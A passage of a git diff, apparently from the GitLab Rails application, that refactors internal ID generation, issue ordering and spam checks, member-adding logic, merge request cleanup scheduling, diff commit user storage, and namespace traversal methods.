- self.class.internal_id_transactions_increment(operation: :reset, usage: usage)
+ InternalId.internal_id_transactions_increment(operation: :reset, usage: usage)
updated =
InternalId
@@ -149,8 +175,9 @@ class InternalId < ApplicationRecord
# and set its new_value if it is higher than the current last_value
#
# Note this will acquire a ROW SHARE lock on the InternalId record
+
def track_greatest(new_value)
- self.class.internal_id_transactions_increment(operation: :track_greatest, usage: usage)
+ InternalId.internal_id_transactions_increment(operation: :track_greatest, usage: usage)
subject.transaction do
record.track_greatest_and_save!(new_value)
@@ -162,7 +189,7 @@ class InternalId < ApplicationRecord
end
def with_lock(&block)
- self.class.internal_id_transactions_increment(operation: :with_lock, usage: usage)
+ InternalId.internal_id_transactions_increment(operation: :with_lock, usage: usage)
record.with_lock(&block)
end
@@ -199,22 +226,118 @@ class InternalId < ApplicationRecord
rescue ActiveRecord::RecordNotUnique
lookup
end
+ end
- def self.internal_id_transactions_increment(operation:, usage:)
- self.internal_id_transactions_total.increment(
- operation: operation,
- usage: usage.to_s,
- in_transaction: ActiveRecord::Base.connection.transaction_open?.to_s
- )
+ class ImplicitlyLockingInternalIdGenerator
+ # Generate next internal id for a given scope and usage.
+ #
+ # For currently supported usages, see #usage enum.
+ #
+ # The method implements a locking scheme that has the following properties:
+ # 1) Generated sequence of internal ids is unique per (scope and usage)
+ # 2) The method is thread-safe and may be used in concurrent threads/processes.
+ # 3) The generated sequence is gapless.
+ # 4) In the absence of a record in the internal_ids table, one will be created
+ # and last_value will be calculated on the fly.
+ #
+ # subject: The instance or class we're generating an internal id for.
+ # scope: Attributes that define the scope for id generation.
+ # Valid keys are `project/project_id` and `namespace/namespace_id`.
+ # usage: Symbol to define the usage of the internal id, see InternalId.usages
+ # init: Proc that accepts the subject and the scope and returns Integer|NilClass
+ attr_reader :subject, :scope, :scope_attrs, :usage, :init
+
+ def initialize(subject, scope, usage, init = nil)
+ @subject = subject
+ @scope = scope
+ @usage = usage
+ @init = init
+
+ raise ArgumentError, 'Scope is not well-defined, need at least one column for scope (given: 0)' if scope.empty?
+
+ unless InternalId.usages.has_key?(usage.to_s)
+ raise ArgumentError, "Usage '#{usage}' is unknown. Supported values are #{InternalId.usages.keys} from InternalId.usages"
+ end
end
- def self.internal_id_transactions_total
- strong_memoize(:internal_id_transactions_total) do
- name = :gitlab_internal_id_transactions_total
- comment = 'Counts all the internal ids happening within transaction'
+ # Generates next internal id and returns it
+ # init: Block that gets called to initialize InternalId record if not present
+ # Make sure to not throw exceptions in the absence of records (if this is expected).
+ def generate
+ InternalId.internal_id_transactions_increment(operation: :generate, usage: usage)
- Gitlab::Metrics.counter(name, comment)
+ next_iid = update_record!(subject, scope, usage, arel_table[:last_value] + 1)
+
+ return next_iid if next_iid
+
+ create_record!(subject, scope, usage, init) do |iid|
+ iid.last_value += 1
end
+ rescue ActiveRecord::RecordNotUnique
+ retry
+ end
+
+ # Reset tries to rewind to `value-1`. This will only succeed,
+ # if `value` stored in database is equal to `last_value`.
+ # value: The expected last_value to decrement
+ def reset(value)
+ return false unless value
+
+ InternalId.internal_id_transactions_increment(operation: :reset, usage: usage)
+
+ iid = update_record!(subject, scope.merge(last_value: value), usage, arel_table[:last_value] - 1)
+ iid == value - 1
+ end
+
+ # Create a record in internal_ids if one does not yet exist
+ # and set its new_value if it is higher than the current last_value
+ def track_greatest(new_value)
+ InternalId.internal_id_transactions_increment(operation: :track_greatest, usage: usage)
+
+ function = Arel::Nodes::NamedFunction.new('GREATEST', [
+ arel_table[:last_value],
+ new_value.to_i
+ ])
+
+ next_iid = update_record!(subject, scope, usage, function)
+ return next_iid if next_iid
+
+ create_record!(subject, scope, usage, init) do |object|
+ object.last_value = [object.last_value, new_value].max
+ end
+ rescue ActiveRecord::RecordNotUnique
+ retry
+ end
+
+ private
+
+ def update_record!(subject, scope, usage, new_value)
+ stmt = Arel::UpdateManager.new
+ stmt.table(arel_table)
+ stmt.set(arel_table[:last_value] => new_value)
+ stmt.wheres = InternalId.filter_by(scope, usage).arel.constraints
+
+ ActiveRecord::Base.connection.insert(stmt, 'Update InternalId', 'last_value')
+ end
+
+ def create_record!(subject, scope, usage, init)
+ raise ArgumentError, 'Cannot initialize without init!' unless init
+
+ instance = subject.is_a?(::Class) ? nil : subject
+
+ subject.transaction(requires_new: true) do
+ last_value = init.call(instance, scope) || 0
+
+ internal_id = InternalId.create!(**scope, usage: usage, last_value: last_value) do |subject|
+ yield subject if block_given?
+ end
+
+ internal_id.last_value
+ end
+ end
+
+ def arel_table
+ InternalId.arel_table
end
end
end
diff --git a/app/models/issue.rb b/app/models/issue.rb
index 48f388ea48d..00fcba5298a 100644
--- a/app/models/issue.rb
+++ b/app/models/issue.rb
@@ -80,6 +80,7 @@ class Issue < ApplicationRecord
has_and_belongs_to_many :prometheus_alert_events, join_table: :issues_prometheus_alert_events # rubocop: disable Rails/HasAndBelongsToMany
has_many :prometheus_alerts, through: :prometheus_alert_events
+ accepts_nested_attributes_for :issuable_severity, update_only: true
accepts_nested_attributes_for :sentry_issue
validates :project, presence: true
@@ -195,11 +196,23 @@ class Issue < ApplicationRecord
end
end
- # Alias to state machine .with_state_id method
- # This needs to be defined after the state machine block to avoid errors
class << self
+ extend ::Gitlab::Utils::Override
+
+ # Alias to state machine .with_state_id method
+ # This needs to be defined after the state machine block to avoid errors
alias_method :with_state, :with_state_id
alias_method :with_states, :with_state_ids
+
+ override :order_upvotes_desc
+ def order_upvotes_desc
+ reorder(upvotes_count: :desc)
+ end
+
+ override :order_upvotes_asc
+ def order_upvotes_asc
+ reorder(upvotes_count: :asc)
+ end
end
def self.relative_positioning_query_base(issue)
@@ -267,10 +280,41 @@ class Issue < ApplicationRecord
# `with_cte` argument allows sorting when using CTE queries and prevents
# errors in postgres when using CTE search optimisation
def self.order_by_position_and_priority(with_cte: false)
+ order = Gitlab::Pagination::Keyset::Order.build([column_order_relative_position, column_order_highest_priority, column_order_id_desc])
+
order_labels_priority(with_cte: with_cte)
- .reorder(Gitlab::Database.nulls_last_order('relative_position', 'ASC'),
- Gitlab::Database.nulls_last_order('highest_priority', 'ASC'),
- "id DESC")
+ .reorder(order)
+ end
+
+ def self.column_order_relative_position
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'relative_position',
+ column_expression: arel_table[:relative_position],
+ order_expression: Gitlab::Database.nulls_last_order('issues.relative_position', 'ASC'),
+ reversed_order_expression: Gitlab::Database.nulls_last_order('issues.relative_position', 'DESC'),
+ order_direction: :asc,
+ nullable: :nulls_last,
+ distinct: false
+ )
+ end
+
+ def self.column_order_highest_priority
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'highest_priority',
+ column_expression: Arel.sql('highest_priorities.label_priority'),
+ order_expression: Gitlab::Database.nulls_last_order('highest_priorities.label_priority', 'ASC'),
+ reversed_order_expression: Gitlab::Database.nulls_last_order('highest_priorities.label_priority', 'DESC'),
+ order_direction: :asc,
+ nullable: :nulls_last,
+ distinct: false
+ )
+ end
+
+ def self.column_order_id_desc
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'id',
+ order_expression: arel_table[:id].desc
+ )
end
# Temporary disable moving null elements because of performance problems
@@ -394,8 +438,15 @@ class Issue < ApplicationRecord
end
def check_for_spam?
- publicly_visible? &&
- (title_changed? || description_changed? || confidential_changed?)
+ # content created via support bots is always checked for spam, EVEN if
+ # the issue is not publicly visible and/or confidential
+ return true if author.support_bot? && spammable_attribute_changed?
+
+ # Only check for spam on issues which are publicly visible (and thus indexed in search engines)
+ return false unless publicly_visible?
+
+ # Only check for spam if certain attributes have changed
+ spammable_attribute_changed?
end
def as_json(options = {})
@@ -481,8 +532,21 @@ class Issue < ApplicationRecord
issue_assignees.pluck(:user_id)
end
+ def update_upvotes_count
+ self.lock!
+ self.update_column(:upvotes_count, self.upvotes)
+ end
+
private
+ def spammable_attribute_changed?
+ title_changed? ||
+ description_changed? ||
+ # NOTE: We need to check them for spam when issues are made non-confidential, because spam
+ # may have been added while they were confidential and thus not being checked for spam.
+ confidential_changed?(from: true, to: false)
+ end
+
# Ensure that the metrics association is safely created and respecting the unique constraint on issue_id
override :ensure_metrics
def ensure_metrics
diff --git a/app/models/member.rb b/app/models/member.rb
index 0636c3c2d4e..14c886e3ab8 100644
--- a/app/models/member.rb
+++ b/app/models/member.rb
@@ -156,7 +156,7 @@ class Member < ApplicationRecord
distinct_members = select('DISTINCT ON (user_id, invite_email) *')
.order('user_id, invite_email, access_level DESC, expires_at DESC, created_at ASC')
- from(distinct_members, :members)
+ unscoped.from(distinct_members, :members)
end
scope :order_name_asc, -> { left_join_users.reorder(Gitlab::Database.nulls_last_order('users.name', 'ASC')) }
@@ -232,140 +232,9 @@ class Member < ApplicationRecord
find_by(invite_token: invite_token)
end
- def add_user(source, user, access_level, existing_members: nil, current_user: nil, expires_at: nil, ldap: false)
- # rubocop: disable CodeReuse/ServiceClass
- # `user` can be either a User object, User ID or an email to be invited
- member = retrieve_member(source, user, existing_members)
- access_level = retrieve_access_level(access_level)
-
- return member unless can_update_member?(current_user, member)
-
- set_member_attributes(
- member,
- access_level,
- current_user: current_user,
- expires_at: expires_at,
- ldap: ldap
- )
-
- if member.request?
- ::Members::ApproveAccessRequestService.new(
- current_user,
- access_level: access_level
- ).execute(
- member,
- skip_authorization: ldap,
- skip_log_audit_event: ldap
- )
- else
- member.save
- end
-
- member
- # rubocop: enable CodeReuse/ServiceClass
- end
-
- # Populates the attributes of a member.
- #
- # This logic resides in a separate method so that EE can extend this logic,
- # without having to patch the `add_user` method directly.
- def set_member_attributes(member, access_level, current_user: nil, expires_at: nil, ldap: false)
- member.attributes = {
- created_by: member.created_by || current_user,
- access_level: access_level,
- expires_at: expires_at
- }
- end
-
- def add_users(source, users, access_level, current_user: nil, expires_at: nil)
- return [] unless users.present?
-
- emails, users, existing_members = parse_users_list(source, users)
-
- self.transaction do
- (emails + users).map! do |user|
- add_user(
- source,
- user,
- access_level,
- existing_members: existing_members,
- current_user: current_user,
- expires_at: expires_at
- )
- end
- end
- end
-
- def access_levels
- Gitlab::Access.sym_options
- end
-
def valid_email?(email)
Devise.email_regexp.match?(email)
end
-
- private
-
- def parse_users_list(source, list)
- emails = []
- user_ids = []
- users = []
- existing_members = {}
-
- list.each do |item|
- case item
- when User
- users << item
- when Integer
- user_ids << item
- when /\A\d+\Z/
- user_ids << item.to_i
- when Devise.email_regexp
- emails << item
- end
- end
-
- if user_ids.present?
- users.concat(User.where(id: user_ids))
- # the below will automatically discard invalid user_ids
- existing_members = source.members_and_requesters.where(user_id: user_ids).index_by(&:user_id)
- end
-
- [emails, users, existing_members]
- end
-
- # This method is used to find users that have been entered into the "Add members" field.
- # These can be the User objects directly, their IDs, their emails, or new emails to be invited.
- def retrieve_user(user)
- return user if user.is_a?(User)
-
- return User.find_by(id: user) if user.is_a?(Integer)
-
- User.find_by_any_email(user) || user
- end
-
- def retrieve_member(source, user, existing_members)
- user = retrieve_user(user)
-
- if user.is_a?(User)
- if existing_members
- existing_members[user.id] || source.members.build(user_id: user.id)
- else
- source.members_and_requesters.find_or_initialize_by(user_id: user.id)
- end
- else
- source.members.build(invite_email: user)
- end
- end
-
- def retrieve_access_level(access_level)
- access_levels.fetch(access_level) { access_level.to_i }
- end
-
- def can_update_member?(current_user, member)
- # There is no current user for bulk actions, in which case anything is allowed
- !current_user || current_user.can?(:"update_#{member.type.underscore}", member)
- end
end
def real_source_type
@@ -570,7 +439,7 @@ class Member < ApplicationRecord
def update_highest_role?
return unless user_id.present?
- previous_changes[:access_level].present?
+ previous_changes[:access_level].present? || destroyed?
end
def update_highest_role_attribute
diff --git a/app/models/members/group_member.rb b/app/models/members/group_member.rb
index c7bc31cde5d..cf5906a4cbf 100644
--- a/app/models/members/group_member.rb
+++ b/app/models/members/group_member.rb
@@ -28,14 +28,12 @@ class GroupMember < Member
attr_accessor :last_owner, :last_blocked_owner
+ self.enumerate_columns_in_select_statements = true
+
def self.access_level_roles
Gitlab::Access.options_with_owner
end
- def self.access_levels
- Gitlab::Access.sym_options_with_owner
- end
-
def self.pluck_user_ids
pluck(:user_id)
end
diff --git a/app/models/members/project_member.rb b/app/models/members/project_member.rb
index 41ecc4cbf01..5040879e177 100644
--- a/app/models/members/project_member.rb
+++ b/app/models/members/project_member.rb
@@ -48,7 +48,7 @@ class ProjectMember < Member
project_ids.each do |project_id|
project = Project.find(project_id)
- add_users(
+ Members::Projects::CreatorService.add_users( # rubocop:todo CodeReuse/ServiceClass
project,
users,
access_level,
@@ -80,12 +80,6 @@ class ProjectMember < Member
def access_level_roles
Gitlab::Access.options
end
-
- private
-
- def can_update_member?(current_user, member)
- super || (member.owner? && member.new_record?)
- end
end
def project
diff --git a/app/models/merge_request.rb b/app/models/merge_request.rb
index 68fb957759d..7ca83d1d68c 100644
--- a/app/models/merge_request.rb
+++ b/app/models/merge_request.rb
@@ -300,6 +300,11 @@ class MergeRequest < ApplicationRecord
query = joins(:metrics)
+ if !target_project_id && self.where_values_hash["target_project_id"]
+ target_project_id = self.where_values_hash["target_project_id"]
+ query = query.unscope(where: :target_project_id)
+ end
+
project_condition = if target_project_id
MergeRequest::Metrics.arel_table[:target_project_id].eq(target_project_id)
else
@@ -360,7 +365,7 @@ class MergeRequest < ApplicationRecord
scope :preload_approved_by_users, -> { preload(:approved_by_users) }
scope :preload_metrics, -> (relation) { preload(metrics: relation) }
scope :preload_project_and_latest_diff, -> { preload(:source_project, :latest_merge_request_diff) }
- scope :preload_latest_diff_commit, -> { preload(latest_merge_request_diff: :merge_request_diff_commits) }
+ scope :preload_latest_diff_commit, -> { preload(latest_merge_request_diff: { merge_request_diff_commits: [:commit_author, :committer] }) }
scope :preload_milestoneish_associations, -> { preload_routables.preload(:assignees, :labels) }
scope :with_web_entity_associations, -> { preload(:author, target_project: [:project_feature, group: [:route, :parent], namespace: :route]) }
@@ -1340,7 +1345,7 @@ class MergeRequest < ApplicationRecord
def has_ci?
return false if has_no_commits?
- !!(head_pipeline_id || all_pipelines.any? || source_project&.ci_service)
+ !!(head_pipeline_id || all_pipelines.any? || source_project&.ci_integration)
end
def branch_missing?
@@ -1551,8 +1556,6 @@ class MergeRequest < ApplicationRecord
end
def has_codequality_mr_diff_report?
- return false unless ::Gitlab::Ci::Features.display_quality_on_mr_diff?(project)
-
actual_head_pipeline&.has_codequality_mr_diff_report?
end
diff --git a/app/models/merge_request/cleanup_schedule.rb b/app/models/merge_request/cleanup_schedule.rb
index 79817269be2..35194b2b318 100644
--- a/app/models/merge_request/cleanup_schedule.rb
+++ b/app/models/merge_request/cleanup_schedule.rb
@@ -1,14 +1,61 @@
# frozen_string_literal: true
class MergeRequest::CleanupSchedule < ApplicationRecord
+ STATUSES = {
+ unstarted: 0,
+ running: 1,
+ completed: 2,
+ failed: 3
+ }.freeze
+
belongs_to :merge_request, inverse_of: :cleanup_schedule
validates :scheduled_at, presence: true
- def self.scheduled_merge_request_ids(limit)
- where('completed_at IS NULL AND scheduled_at <= NOW()')
+ state_machine :status, initial: :unstarted do
+ state :unstarted, value: STATUSES[:unstarted]
+ state :running, value: STATUSES[:running]
+ state :completed, value: STATUSES[:completed]
+ state :failed, value: STATUSES[:failed]
+
+ event :run do
+ transition unstarted: :running
+ end
+
+ event :retry do
+ transition running: :unstarted
+ end
+
+ event :complete do
+ transition running: :completed
+ end
+
+ event :mark_as_failed do
+ transition running: :failed
+ end
+
+ before_transition to: [:completed] do |cleanup_schedule, _transition|
+ cleanup_schedule.completed_at = Time.current
+ end
+
+ before_transition from: :running, to: [:unstarted, :failed] do |cleanup_schedule, _transition|
+ cleanup_schedule.failed_count += 1
+ end
+ end
+
+ scope :scheduled_and_unstarted, -> {
+ where('completed_at IS NULL AND scheduled_at <= NOW() AND status = ?', STATUSES[:unstarted])
.order('scheduled_at DESC')
- .limit(limit)
- .pluck(:merge_request_id)
+ }
+
+ def self.start_next
+ MergeRequest::CleanupSchedule.transaction do
+ cleanup_schedule = scheduled_and_unstarted.lock('FOR UPDATE SKIP LOCKED').first
+
+ next if cleanup_schedule.blank?
+
+ cleanup_schedule.run!
+ cleanup_schedule
+ end
end
end
diff --git a/app/models/merge_request/diff_commit_user.rb b/app/models/merge_request/diff_commit_user.rb
new file mode 100644
index 00000000000..3fc5c9318a4
--- /dev/null
+++ b/app/models/merge_request/diff_commit_user.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+class MergeRequest::DiffCommitUser < ApplicationRecord
+ validates :name, length: { maximum: 512 }
+ validates :email, length: { maximum: 512 }
+ validates :name, presence: true, unless: :email
+ validates :email, presence: true, unless: :name
+
+ # Prepares a value to be inserted into a column in the table
+ # `merge_request_diff_commit_users`. Values in this table are limited to
+ # 512 characters.
+ #
+ # We treat empty strings as NULL values, as there's no point in (for
+ # example) storing a row where both the name and Email are an empty
+ # string. In addition, if we treated them differently we could end up with
+ # two rows: one where field X is NULL, and one where field X is an empty
+ # string. This is redundant, so we avoid storing such data.
+ def self.prepare(value)
+ value.present? ? value[0..511] : nil
+ end
+
+ # Creates a new row, or returns an existing one if a row already exists.
+ def self.find_or_create(name, email)
+ find_or_create_by!(name: name, email: email)
+ rescue ActiveRecord::RecordNotUnique
+ retry
+ end
+
+ # Finds many (name, email) pairs in bulk.
+ def self.bulk_find(pairs)
+ queries = {}
+ rows = []
+
+ pairs.each do |(name, email)|
+ queries[[name, email]] = where(name: name, email: email).to_sql
+ end
+
+ # We may end up having to query many users. To ensure we don't hit any
+ # query size limits, we get a fixed number of users at a time.
+ queries.values.each_slice(1_000).map do |slice|
+ rows.concat(from("(#{slice.join("\nUNION ALL\n")}) #{table_name}").to_a)
+ end
+
+ rows
+ end
+
+ # Finds or creates rows for the given pairs of names and Emails.
+ #
+ # The `names_and_emails` argument must be an Array/Set of tuples like so:
+ #
+ # [
+ # [name, email],
+ # [name, email],
+ # ...
+ # ]
+ #
+ # This method expects that the names and Emails have already been trimmed to
+ # at most 512 characters.
+ #
+ # The return value is a Hash that maps these tuples to instances of this
+ # model.
+ def self.bulk_find_or_create(pairs)
+ mapping = {}
+ create = []
+
+ # Over time, fewer new rows need to be created. We take advantage of that
+ # here by first finding all rows that already exist, using a limited number
+ # of queries (in most cases only one query will be needed).
+ bulk_find(pairs).each do |row|
+ mapping[[row.name, row.email]] = row
+ end
+
+ pairs.each do |(name, email)|
+ create << { name: name, email: email } unless mapping[[name, email]]
+ end
+
+ return mapping if create.empty?
+
+ # Sometimes we may need to insert new users into the table. We do this in
+ # bulk, so we only need one INSERT for all missing users.
+ insert_all(create, returning: %w[id name email]).each do |row|
+ mapping[[row['name'], row['email']]] =
+ new(id: row['id'], name: row['name'], email: row['email'])
+ end
+
+ # It's possible for (name, email) pairs to be inserted concurrently,
+ # resulting in the above insert not returning anything. Here we get any
+ # remaining users that were created concurrently.
+ bulk_find(pairs.reject { |pair| mapping.key?(pair) }).each do |row|
+ mapping[[row.name, row.email]] = row
+ end
+
+ mapping
+ end
+end
diff --git a/app/models/merge_request_diff.rb b/app/models/merge_request_diff.rb
index f58d7788432..d2ea663551d 100644
--- a/app/models/merge_request_diff.rb
+++ b/app/models/merge_request_diff.rb
@@ -701,7 +701,7 @@ class MergeRequestDiff < ApplicationRecord
end
def load_commits(limit: nil)
- commits = merge_request_diff_commits.limit(limit)
+ commits = merge_request_diff_commits.with_users.limit(limit)
.map { |commit| Commit.from_hash(commit.to_hash, project) }
CommitCollection
diff --git a/app/models/merge_request_diff_commit.rb b/app/models/merge_request_diff_commit.rb
index ed398e0d2e0..466d28301c0 100644
--- a/app/models/merge_request_diff_commit.rb
+++ b/app/models/merge_request_diff_commit.rb
@@ -9,21 +9,51 @@ class MergeRequestDiffCommit < ApplicationRecord
belongs_to :merge_request_diff
+ # This relation is called `commit_author` and not `author`, as the project
+ # import/export logic treats relations named `author` as instances of the
+ # `User` class.
+ #
+ # NOTE: these columns are _not_ indexed, nor do they use foreign keys.
+ #
+ # This is deliberate, as creating these indexes on GitLab.com takes a _very_
+ # long time. In addition, there's no real need for them either based on how
+ # this data is used.
+ #
+ # For more information, refer to the following:
+ #
+ # - https://gitlab.com/gitlab-com/gl-infra/production/-/issues/5038#note_614592881
+ # - https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63669
+ belongs_to :commit_author, class_name: 'MergeRequest::DiffCommitUser'
+ belongs_to :committer, class_name: 'MergeRequest::DiffCommitUser'
+
sha_attribute :sha
alias_attribute :id, :sha
serialize :trailers, Serializers::Json # rubocop:disable Cop/ActiveRecordSerialize
validates :trailers, json_schema: { filename: 'git_trailers' }
+ scope :with_users, -> { preload(:commit_author, :committer) }
+
+ # A list of keys of which their values need to be trimmed before they can be
+ # inserted into the merge_request_diff_commit_users table.
+ TRIM_USER_KEYS =
+ %i[author_name author_email committer_name committer_email].freeze
+
# Deprecated; use `bulk_insert!` from `BulkInsertSafe` mixin instead.
# cf. https://gitlab.com/gitlab-org/gitlab/issues/207989 for progress
def self.create_bulk(merge_request_diff_id, commits)
- rows = commits.map.with_index do |commit, index|
- # See #parent_ids.
- commit_hash = commit.to_hash.except(:parent_ids)
+ commit_hashes, user_tuples = prepare_commits_for_bulk_insert(commits)
+ users = MergeRequest::DiffCommitUser.bulk_find_or_create(user_tuples)
+
+ rows = commit_hashes.map.with_index do |commit_hash, index|
sha = commit_hash.delete(:id)
+ author = users[[commit_hash[:author_name], commit_hash[:author_email]]]
+ committer =
+ users[[commit_hash[:committer_name], commit_hash[:committer_email]]]
commit_hash.merge(
+ commit_author_id: author&.id,
+ committer_id: committer&.id,
merge_request_diff_id: merge_request_diff_id,
relative_order: index,
sha: Gitlab::Database::ShaAttribute.serialize(sha), # rubocop:disable Cop/ActiveRecordSerialize
@@ -36,6 +66,24 @@ class MergeRequestDiffCommit < ApplicationRecord
Gitlab::Database.bulk_insert(self.table_name, rows) # rubocop:disable Gitlab/BulkInsert
end
+ def self.prepare_commits_for_bulk_insert(commits)
+ user_tuples = Set.new
+ hashes = commits.map do |commit|
+ hash = commit.to_hash.except(:parent_ids)
+
+ TRIM_USER_KEYS.each do |key|
+ hash[key] = MergeRequest::DiffCommitUser.prepare(hash[key])
+ end
+
+ user_tuples << [hash[:author_name], hash[:author_email]]
+ user_tuples << [hash[:committer_name], hash[:committer_email]]
+
+ hash
+ end
+
+ [hashes, user_tuples]
+ end
+
def self.oldest_merge_request_id_per_commit(project_id, shas)
# This method is defined here and not on MergeRequest, otherwise the SHA
# values used in the WHERE below won't be encoded correctly.
@@ -54,4 +102,20 @@ class MergeRequestDiffCommit < ApplicationRecord
)
.group(:sha)
end
+
+ def author_name
+ commit_author_id ? commit_author.name : super
+ end
+
+ def author_email
+ commit_author_id ? commit_author.email : super
+ end
+
+ def committer_name
+ committer_id ? committer.name : super
+ end
+
+ def committer_email
+ committer_id ? committer.email : super
+ end
end
diff --git a/app/models/milestone.rb b/app/models/milestone.rb
index 9ed6c106e45..2168d57693e 100644
--- a/app/models/milestone.rb
+++ b/app/models/milestone.rb
@@ -120,6 +120,19 @@ class Milestone < ApplicationRecord
sorted.with_order_id_desc
end
+ def self.sort_with_expired_last(method)
+ # NOTE: this is a custom ordering of milestones
+ # to prioritize displaying non-expired milestones and milestones without due dates
+ sorted = reorder(Arel.sql("(CASE WHEN due_date IS NULL THEN 1 WHEN due_date >= CURRENT_DATE THEN 0 ELSE 2 END) ASC"))
+ sorted = if method.to_s == 'expired_last_due_date_desc'
+ sorted.order(due_date: :desc)
+ else
+ sorted.order(due_date: :asc)
+ end
+
+ sorted.with_order_id_desc
+ end
+
def self.states_count(projects, groups = nil)
return STATE_COUNT_HASH unless projects || groups
diff --git a/app/models/namespace.rb b/app/models/namespace.rb
index 5f41441058b..5524fec5324 100644
--- a/app/models/namespace.rb
+++ b/app/models/namespace.rb
@@ -116,6 +116,14 @@ class Namespace < ApplicationRecord
)
end
+ scope :sorted_by_similarity_and_parent_id_desc, -> (search) do
+ order_expression = Gitlab::Database::SimilarityScore.build_expression(search: search, rules: [
+ { column: arel_table["path"], multiplier: 1 },
+ { column: arel_table["name"], multiplier: 0.7 }
+ ])
+ reorder(order_expression.desc, Namespace.arel_table['parent_id'].desc.nulls_last, Namespace.arel_table['id'].desc)
+ end
+
# Make sure that the name is same as strong_memoize name in root_ancestor
# method
attr_writer :root_ancestor, :emails_disabled_memoized
@@ -272,7 +280,7 @@ class Namespace < ApplicationRecord
# that belongs to this namespace
def all_projects
if Feature.enabled?(:recursive_approach_for_all_projects, default_enabled: :yaml)
- namespace = user? ? self : self_and_descendants
+ namespace = user? ? self : self_and_descendant_ids
Project.where(namespace: namespace)
else
Project.inside_path(full_path)
diff --git a/app/models/namespace_setting.rb b/app/models/namespace_setting.rb
index 600abc33471..fc890bf687c 100644
--- a/app/models/namespace_setting.rb
+++ b/app/models/namespace_setting.rb
@@ -15,7 +15,7 @@ class NamespaceSetting < ApplicationRecord
NAMESPACE_SETTINGS_PARAMS = [:default_branch_name, :delayed_project_removal,
:lock_delayed_project_removal, :resource_access_token_creation_allowed,
- :prevent_sharing_groups_outside_hierarchy].freeze
+ :prevent_sharing_groups_outside_hierarchy, :new_user_signups_cap].freeze
self.primary_key = :namespace_id
diff --git a/app/models/namespaces/traversal/linear.rb b/app/models/namespaces/traversal/linear.rb
index d0281f4d974..3d78f384634 100644
--- a/app/models/namespaces/traversal/linear.rb
+++ b/app/models/namespaces/traversal/linear.rb
@@ -64,15 +64,28 @@ module Namespaces
traversal_ids.present?
end
- def root_ancestor
- return super if parent.nil?
- return super unless persisted?
+ def use_traversal_ids_for_ancestors?
+ return false unless use_traversal_ids?
+ return false unless Feature.enabled?(:use_traversal_ids_for_ancestors, root_ancestor, default_enabled: :yaml)
+
+ traversal_ids.present?
+ end
+
+ def use_traversal_ids_for_root_ancestor?
+ return false unless Feature.enabled?(:use_traversal_ids_for_root_ancestor, default_enabled: :yaml)
- return super if traversal_ids.blank?
- return super unless Feature.enabled?(:use_traversal_ids_for_root_ancestor, default_enabled: :yaml)
+ traversal_ids.present?
+ end
+
+ def root_ancestor
+ return super unless use_traversal_ids_for_root_ancestor?
strong_memoize(:root_ancestor) do
- Namespace.find_by(id: traversal_ids.first)
+ if parent.nil?
+ self
+ else
+ Namespace.find_by(id: traversal_ids.first)
+ end
end
end
@@ -95,14 +108,33 @@ module Namespaces
end
def ancestors(hierarchy_order: nil)
- return super() unless use_traversal_ids?
- return super() unless Feature.enabled?(:use_traversal_ids_for_ancestors, root_ancestor, default_enabled: :yaml)
+ return super unless use_traversal_ids_for_ancestors?
return self.class.none if parent_id.blank?
lineage(bottom: parent, hierarchy_order: hierarchy_order)
end
+ def ancestor_ids(hierarchy_order: nil)
+ return super unless use_traversal_ids_for_ancestors?
+
+ hierarchy_order == :desc ? traversal_ids[0..-2] : traversal_ids[0..-2].reverse
+ end
+
+ def self_and_ancestors(hierarchy_order: nil)
+ return super unless use_traversal_ids_for_ancestors?
+
+ return self.class.where(id: id) if parent_id.blank?
+
+ lineage(bottom: self, hierarchy_order: hierarchy_order)
+ end
+
+ def self_and_ancestor_ids(hierarchy_order: nil)
+ return super unless use_traversal_ids_for_ancestors?
+
+ hierarchy_order == :desc ? traversal_ids : traversal_ids.reverse
+ end
+
private
# Update the traversal_ids for the full hierarchy.
@@ -112,8 +144,7 @@ module Namespaces
# Clear any previously memoized root_ancestor as our ancestors have changed.
clear_memoization(:root_ancestor)
- # We cannot rely on Namespaces::Traversal::Linear#root_ancestor because it might be stale
- Namespace::TraversalHierarchy.for_namespace(recursive_root_ancestor).sync_traversal_ids!
+ Namespace::TraversalHierarchy.for_namespace(self).sync_traversal_ids!
end
# Lock the root of the hierarchy we just left, and lock the root of the hierarchy
diff --git a/app/models/namespaces/traversal/recursive.rb b/app/models/namespaces/traversal/recursive.rb
index 5a1a9d24117..d9e8743aa50 100644
--- a/app/models/namespaces/traversal/recursive.rb
+++ b/app/models/namespaces/traversal/recursive.rb
@@ -10,7 +10,7 @@ module Namespaces
if persisted?
strong_memoize(:root_ancestor) do
- self_and_ancestors.reorder(nil).find_by(parent_id: nil)
+ recursive_self_and_ancestors.reorder(nil).find_by(parent_id: nil)
end
else
parent.root_ancestor
@@ -26,14 +26,19 @@ module Namespaces
alias_method :recursive_self_and_hierarchy, :self_and_hierarchy
# Returns all the ancestors of the current namespaces.
- def ancestors
+ def ancestors(hierarchy_order: nil)
return self.class.none unless parent_id
object_hierarchy(self.class.where(id: parent_id))
- .base_and_ancestors
+ .base_and_ancestors(hierarchy_order: hierarchy_order)
end
alias_method :recursive_ancestors, :ancestors
+ def ancestor_ids(hierarchy_order: nil)
+ recursive_ancestors(hierarchy_order: hierarchy_order).pluck(:id)
+ end
+ alias_method :recursive_ancestor_ids, :ancestor_ids
+
# returns all ancestors upto but excluding the given namespace
# when no namespace is given, all ancestors upto the top are returned
def ancestors_upto(top = nil, hierarchy_order: nil)
@@ -49,6 +54,11 @@ module Namespaces
end
alias_method :recursive_self_and_ancestors, :self_and_ancestors
+ def self_and_ancestor_ids(hierarchy_order: nil)
+ recursive_self_and_ancestors(hierarchy_order: hierarchy_order).pluck(:id)
+ end
+ alias_method :recursive_self_and_ancestor_ids, :self_and_ancestor_ids
+
# Returns all the descendants of the current namespace.
def descendants
object_hierarchy(self.class.where(parent_id: id))
@@ -63,12 +73,12 @@ module Namespaces
alias_method :recursive_self_and_descendants, :self_and_descendants
def self_and_descendant_ids
- self_and_descendants.select(:id)
+ recursive_self_and_descendants.select(:id)
end
alias_method :recursive_self_and_descendant_ids, :self_and_descendant_ids
def object_hierarchy(ancestors_base)
